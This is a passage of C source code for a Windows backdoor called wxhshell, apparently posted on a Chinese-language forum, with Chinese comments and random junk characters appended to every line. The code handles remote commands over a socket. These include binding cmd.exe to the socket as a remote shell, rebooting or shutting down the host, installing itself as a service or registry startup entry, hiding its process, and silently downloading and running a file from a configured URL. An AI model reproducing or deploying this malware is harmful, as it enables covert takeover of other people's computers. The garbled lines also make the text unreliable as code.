    switch(cmd[0]) { B;2#Sa.  
  =,X*40=  
  // 帮助 MooxT7  
  case '?': { D$E#:[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FU;a { irB  
    break; 7\gu; [n  
  } o'8%5 M@  
  // 安装 }rF4M1+B\  
  case 'i': { bH!_0+$P  
    if(Install()) ^oNcZK>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fl}!3k>c  
    else t3=K>Y@w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \[%_ :9eq  
    break; _joW%`T8  
    } Y=y 0`?K  
  // 卸载 .:e#!~Ki  
  case 'r': { p(9[*0.};  
    if(Uninstall()) qggRS)a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RLcC>Z  
    else e*d lGK3l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A+FQmLS  
    break; X1BqN+=@9  
    } p&D7&Sb[  
  // 显示 wxhshell 所在路径 3sDyB-\&  
  case 'p': { nGur2}>n  
    char svExeFile[MAX_PATH]; AoK;6je`K^  
    strcpy(svExeFile,"\n\r"); P ,rLyx   
      strcat(svExeFile,ExeFile); XEN-V-Z%*  
        send(wsh,svExeFile,strlen(svExeFile),0); y. (m#&T  
    break; *:`fgaIDa  
    } Nnoj6+b  
  // 重启 -OnKvpeI  
  case 'b': { Dw y|mxlFn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E )2/Vn2  
    if(Boot(REBOOT)) fB'Jo<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q Oa*JA`  
    else { a>+m_]*JZ  
    closesocket(wsh); n#B}p*G  
    ExitThread(0); w4zp%`?D'  
    } L=P8;Gj)  
    break; 'R99m?"  
    } %/ :&L+q  
  // 关机 Ds{bYK_y  
  case 'd': { ,wy;7T>ODd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 735l&(3A\  
    if(Boot(SHUTDOWN)) %4BQY>O)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w{]B)>! 1W  
    else { @moaa}1  
    closesocket(wsh); Ak$9\Sl  
    ExitThread(0); /UaQ 2h\  
    } $-<yX<.  
    break; vG=Pi'4XXo  
    } =\\rk,F  
  // 获取shell .k#O[^~]  
  case 's': { dF|R`Pa2ML  
    CmdShell(wsh); #Yy5@A}`o  
    closesocket(wsh); 3_T'0x\FP  
    ExitThread(0); u=E &jL5U  
    break; SzFh  
  } #MbY+[Y@v  
  // 退出 #jO2Zu2`}  
  case 'x': { iTF%}(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yA7O<p+  
    CloseIt(wsh); \Rha7O  
    break; = \K/ulZo  
    } (&, E}{p9  
  // 离开 x}x)h3e  
  case 'q': { )*7{%Ilq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _^!C4?2!  
    closesocket(wsh); $XKUw"%  
    WSACleanup(); `V.tqZF  
    exit(1); 8v)HTD/C  
    break; PTTUI  
        } auM1k]  
  } 7 Rc/<,X  
  } ?q0a^c?A^  
uwt29  
  // 提示信息 tA9Ew{3s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FRQkD%k  
} .mOm@<Xdg  
  } TT){15T;"  
qR , 5  
  return; 1k"i"kRM  
} vi[~Qt  
h,K&R8S  
// shell模块句柄 pTJ_DH  
int CmdShell(SOCKET sock) )5Cqyp~P  
{ ol`q7i.  
STARTUPINFO si; &?gcnMg$,J  
ZeroMemory(&si,sizeof(si)); R/2L9Lcv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eok8+7g0&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #}8VUbJ  
PROCESS_INFORMATION ProcessInfo; OSom-?|w  
char cmdline[]="cmd"; P8tCzjrV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jT;'T$  
  return 0; "'>fTk_  
} r8A'8g4cM  
FtWO[*#  
// 自身启动模式 rAgpcp}  
int StartFromService(void) e0#{'_C  
{ DnN+W  
typedef struct "k),;1  
{ :MH=6  
  DWORD ExitStatus; a &`^M  
  DWORD PebBaseAddress; g7eI;Tpv  
  DWORD AffinityMask; QEmktc1 7  
  DWORD BasePriority; 3@<m/%  
  ULONG UniqueProcessId; TETfRnm  
  ULONG InheritedFromUniqueProcessId; qzk]9`i1:  
}   PROCESS_BASIC_INFORMATION; dO-Zj#%7z8  
c|4_nT 2  
PROCNTQSIP NtQueryInformationProcess; [ .3Gb}B  
(8em5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h5^We"}+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kC'm |Y@T  
%,d+jBM  
  HANDLE             hProcess; N0ZD+  
  PROCESS_BASIC_INFORMATION pbi; :rvBx"  
-{yG+1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T{BGg  
  if(NULL == hInst ) return 0; A\ tBmL_s  
ZV07;`I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); za8+=?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S:c lyx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vTp,j-^  
q"LT8nD\  
  if (!NtQueryInformationProcess) return 0; qtP*O#1q  
uYd_5 nw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g~OG~g@  
  if(!hProcess) return 0; uLN.b339  
LC0-O1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |J ^I8gx+  
nH[>Sff$  
  CloseHandle(hProcess); Zj nWbnW  
Z,F1n/7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r&XxF >  
if(hProcess==NULL) return 0; :vC+}.{p  
*mN8Qd  
HMODULE hMod; ;47=x1j i  
char procName[255]; "&mwrjn"T  
unsigned long cbNeeded; 5%DHF-W)  
8JO(P0aT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n|PW^kOE/  
9|9/8a6A  
  CloseHandle(hProcess); >DW%i\k1V~  
li~=85 J  
if(strstr(procName,"services")) return 1; // 以服务启动 [,|4%Y  
F+V[`w*k  
  return 0; // 注册表启动 "2I{T  
} #Vm)wH3  
R7x*/?  
// 主模块 }5?|iUH|  
int StartWxhshell(LPSTR lpCmdLine) b+71`aD0  
{ W#9LK Jj  
  SOCKET wsl; /NVyzM51V  
BOOL val=TRUE; zG&yu0;D6  
  int port=0; 57$/Dn  
  struct sockaddr_in door; ;ZZmX]kz,M  
iM]&ryGB#  
  if(wscfg.ws_autoins) Install(); 1_LGlu~&  
j!a&l  
port=atoi(lpCmdLine); dp:5iuS  
/IC]}0kkp  
if(port<=0) port=wscfg.ws_port; m9Dg%\B  
"+BuFhSLf  
  WSADATA data; PC)V".W 1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PS??wlp7  
mpl^LF[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `P;uPQDzZ3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lq27^K  
  door.sin_family = AF_INET; mS]soYTQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '_xa>T}  
  door.sin_port = htons(port); }i\_`~  
4Y@q.QP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r / L  
closesocket(wsl); zM'2opiUY  
return 1; gac/%_-HH7  
} 'Ub\8<HfJU  
m] @o1J  
  if(listen(wsl,2) == INVALID_SOCKET) { TI3@/SB>  
closesocket(wsl); Q!W+vh  
return 1; W1UqvaR  
} N3Z6o.k  
  Wxhshell(wsl); (m=F  
  WSACleanup(); hx@E,  
@ds.)sKA>  
return 0; :?7^STc  
6^nxw>-   
} 4n.EA,:g:(  
L4Si0 K  
// 以NT服务方式启动 |C\XU5}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QWK\6  
{ }h\]0'S~J~  
DWORD   status = 0; L$f:D2Ei  
  DWORD   specificError = 0xfffffff; rE.z.r"O  
2iWxx:e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g0RfvR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pv3 e*I((  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [2zS@p  
  serviceStatus.dwWin32ExitCode     = 0; yrR,7v J  
  serviceStatus.dwServiceSpecificExitCode = 0; +RD{<~i  
  serviceStatus.dwCheckPoint       = 0; /909ED+)>9  
  serviceStatus.dwWaitHint       = 0; 74%Uojl"  
G~Fjla\?Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @X#e  
  if (hServiceStatusHandle==0) return; OlYCw.Zu  
z%L\EP;o}  
status = GetLastError(); 1=Q3WMT  
  if (status!=NO_ERROR) IZ+ZIR@}ci  
{ 1$ {Cwb/F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; " G0HsXi  
    serviceStatus.dwCheckPoint       = 0;  <:`x> _  
    serviceStatus.dwWaitHint       = 0; 2aW"t.[j  
    serviceStatus.dwWin32ExitCode     = status; u_ym=N57`  
    serviceStatus.dwServiceSpecificExitCode = specificError; -r6LndQs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %|By ?i  
    return; WR4\dsgCU  
  } JA^Y:@<{/  
4B@L<Rl{\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; },tn  
  serviceStatus.dwCheckPoint       = 0; [Ma d~;  
  serviceStatus.dwWaitHint       = 0; 3 e<sNU?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vu1X@@z  
} {@<EVw  
jX{t/8v/s4  
// 处理NT服务事件,比如:启动、停止 =h}IyY@o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J"]P" `/  
{ {K+]^M  
switch(fdwControl) $5#+;A'Q+  
{ MIWI0bnf  
case SERVICE_CONTROL_STOP: cvQ MZ,p  
  serviceStatus.dwWin32ExitCode = 0; >t}0o$\?E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ncOtDE  
  serviceStatus.dwCheckPoint   = 0; YW)& IA2  
  serviceStatus.dwWaitHint     = 0; ZG)%vB2c  
  { /s^O M`5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1$ ~W~O  
  } C<\O;-nHH  
  return; 0%<x>O  
case SERVICE_CONTROL_PAUSE: ]!04L}hy|P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '-m )fWf  
  break; GOhGSV#  
case SERVICE_CONTROL_CONTINUE: NhA_dskvo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3_+$x 4%  
  break; Fm{`?!  
case SERVICE_CONTROL_INTERROGATE: ` SO"F,  
  break; 4F>?G{ci  
}; gdyP,zMD7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tV,Y38e  
} `O|PP3S  
m\xE8D(,  
// 标准应用程序主函数 !<xeAo%8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )mMHwLDwH  
{ _ Tj`  
`?R~iLIAq  
// 获取操作系统版本 .ahYj n  
OsIsNt=GetOsVer(); ;.P9t`*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]za1=~[  
+gQoYlso  
  // 从命令行安装 mOvwdRKn  
  if(strpbrk(lpCmdLine,"iI")) Install(); +c^[[ K"  
C@i4[g){  
  // 下载执行文件 bC@9 */i  
if(wscfg.ws_downexe) { ' |>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {`vv-[j|  
  WinExec(wscfg.ws_filenam,SW_HIDE); (lY< \l  
} lnoK.Vk9,  
Ju"*>66  
if(!OsIsNt) { J_^Ml)@iy  
// 如果时win9x,隐藏进程并且设置为注册表启动 e$+?l~  
HideProc(); +TnRuehtk  
StartWxhshell(lpCmdLine); %XieKL  
} 71ctjU`U2  
else ?`%)3gx|  
  if(StartFromService()) vg5 ;F[e  
  // 以服务方式启动 P}+-))J  
  StartServiceCtrlDispatcher(DispatchTable); 8}kY^"*&X  
else I?mU_^no  
  // 普通方式启动 `:XrpD  
  StartWxhshell(lpCmdLine); sA u ;i  
Vg)]F+E  
return 0; RRGCO+)*  
}
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只看该作者 1 发表于: 2006-10-10
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